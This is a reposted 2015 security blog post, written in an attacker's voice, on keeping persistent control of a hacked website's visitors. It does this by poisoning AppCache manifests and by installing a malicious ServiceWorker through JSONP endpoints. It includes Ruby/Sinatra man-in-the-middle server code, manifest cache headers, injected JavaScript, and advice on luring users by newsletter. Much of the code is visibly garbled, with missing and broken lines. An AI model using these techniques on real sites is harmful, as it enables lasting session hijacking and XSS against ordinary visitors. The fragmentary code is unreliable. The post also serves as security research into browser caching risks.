Using Appcache and ServiceWorker for Evil

You’re a bad guy and you just hacked a website. Normally you leak the database and leave. The owner fixes everything next day and removes your backdoor. With Middlekit techniques you can poison browser cache of every visitor and get more money and intelligence in a long run.

They call it “Advanced Persistent Threat” in the cyber snake oil industry. It silently sits in the victim’s user agent and waits for your commands. It can alter responses, proxy requests through your server etc – it is permanent session hijacking and XSS.

I am not going to give you specific software, but will explain two approaches: appcache and serviceworker.


It works in all browsers. You just need to add manifest itself in the CACHE MANIFEST section and the browser will always return poisoned documents from the cache.

  • You need to collect as many URLs as possible – you need to list them explicitly to make the user agent cache it. in google is a good start
require 'open-uri'

def get_pages(domain)
  r = f.scan /http:\/\/#{domain}(.*?)[&%]/im
  puts r.flatten.uniq.join(' ')
get_pages ''
  • Don’t forget user specific URLs such as “/settings” or “/homakov/direct_messages”. You can generate the manifest on the fly.
  • Insert your middlekit in front of the hacked production server. For demonstration you can run following script locally and add to your /etc/hosts. It also works in MitM attacks over wifi against https:// websites.
require 'sinatra'

wire = lambda do
  if params[:utm_medium]
    r=  "real content"
<html manifest='/a.appcache'>

function load(url){
x=new XMLHttpRequest;'get',url);


    //document.body.parentElement.innerHTML = x.responseText;
if(location.href.indexOf("?") != -1){

  var u = location.href + "&utm_medium=1";
  var u = location.href + "?utm_medium=1";


pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple}
  get page, &wire

get '/a.appcache' do
  response.headers['cache-control'] = 'max-age=3155760000'
  response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8'
  • Get as many users as possible to visit the hacked server right now – try a newsletter.
  • Now all of them load your middlekit.html first, and there is no way to destroy appcache with javascript. The admins have to ask every user to visit chrome://appcache-internals/ manually


This one works only in Chrome on desktop and only over https: websites, but is actually much more dangerous. It creates a worker which alters responses for all requests and there’s no need to explicitly cache every page – you can cover entire domain with one worker.

  e.respondWith(new Response('alert(document.domain)',{headers: {'Content-Type':'text/html'}}))

To install a ServiceWorker the browser wants to see it as a response with content-type:text/javascript. Pinky, are you pondering what I’m pondering?

Lots of JSONP endpoints respond with arbitrary JS. For instance look at my challenge, this is the answer.

In other words XSS + JSONP + ServiceWorker = Permanent XSS on every page

Aug 13, 2015 • Egor Homakov (@homakov)

Full article:

Source: Using Appcache and ServiceWorker for Evil

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s